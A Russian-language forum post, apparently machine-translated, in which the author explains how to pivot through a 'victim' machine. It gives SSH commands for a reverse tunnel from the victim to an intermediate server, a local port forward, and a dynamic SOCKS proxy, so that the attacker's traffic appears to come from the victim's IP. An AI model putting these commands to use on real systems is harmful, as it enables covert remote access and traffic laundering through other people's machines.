Очевидно, никто не может ответить на этот вопрос, это нормально, потому что я сам нашел ответ.
Вот ответы:
- На жертве :
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- На злоумышленника № 1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- На злоумышленника № 2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- На атакующем № 3: в Firefox или irc, или даже для общих сетевых настроек: Настройки прокси Socks (v5): 127.0.0.1 порт 3333
Каждое приложение, для которого вы настроили хост localhost с портом 3333, будет туннелироваться через serv к жертве, и когда вы посетите что-то вроде http://myip.com, вы увидите ip / host жертвы. С этого момента вы даже можете использовать приложения с графическим интерфейсом на атакующем (если вы устанавливаете параметры socks для конкретного приложения или для системы в целом), которые будут транслироваться через serv к жертве, и вы будете действовать как жертва как таковая.
Ошибка, которую я допустил в своем мыслительном процессе, заключалась в том, что я не совсем понял, как выглядит схема обратного порта, я попытаюсь объяснить ее простыми словами.
Жертва действия
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= Я не собираюсь запускать команды в оболочке-f
= поставить процесс в фоновом режиме (чтобы вы могли закрыть окно терминала)-R
= обратный туннель5555:localhost:22
= 5555 - это порт, на котором сервер внутренне прослушивает передачу данных на порт 22 жертвы . Если вы настроили жертву на запуск ssh на порту 2222, вам следует изменить 22 на 2222.-p
= порт, на котором работает ssh на serv .
1-я атака
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
Первая команда, которую вы делаете для атакующего ( -L 4444:localhost:5555
), настроит туннель так, чтобы ваше соединение с третьей командой было туннелировано прямо через жертву . (Это только для динамической переадресации портов / приложений Socks)
Если вы просто хотите иметь доступ к оболочке для жертвы вместо этой команды, просто введите ssh в команду serv & затем выполните команду: 'ssh user_on_victim @ localhost -p 5555'.
Но нам не нужен доступ к оболочке, мы хотим туннелировать все данные динамически, поэтому нам нужно сделать переадресацию портов.
Или схематическое объяснение
-L
= локальная переадресация портов (на серв )- 4444:localhost:5555
поместите все данные, поступающие на порт 4444 на порт 5555.
2-я атака
Вторая команда, которую вы делаете на атакующего
ssh -p 4444 -D localhost: 3333 user_on_victim @ localhost
это фактическая команда, которая собирается инициализировать соединение через 2 туннеля. Что вы делаете, вы говорите: подключитесь к порту 4444 и поместите все данные, которые поступают на (локальный порт 3333) на 4444. (который будет локально проходить через серв на порт 5555 ->, который будет вытолкнут на порт 22 на жертве .
Или схематическое объяснение
-D
= Динамическая пересылкаlocalhost:3333
= прослушивать порт 3333 и передавать данные через соединение ssh на порт 4444 серв.-p 4444
= порт, на котором слушает сервер serv для передачи данных на порт 5555, а затем на порт 22 жертвы .
3-я атака
Настройте свои приложения или даже всю систему на использование прокси-сервера SOCKS (v5) по адресу: localhost port: 3333. Неважно, на каких портах эти приложения работают нормально, так как он будет обрабатываться прокси-сервером. Теоретически, каждое приложение может работать через посредство прокси динамического переноса через socks. Вам нужно только настроить его. :)
Третье действие против злоумышленника - это фактические данные, которые вы собираетесь направить в жертву . Неважно, что это за данные или приложение, поэтому это динамическая переадресация, не имеет значения, на каких портах запускается это приложение, потому что они будут обрабатываться SOCKS.
Я надеюсь, что кто-то найдет применение в моем объяснении.
Хорошего дня....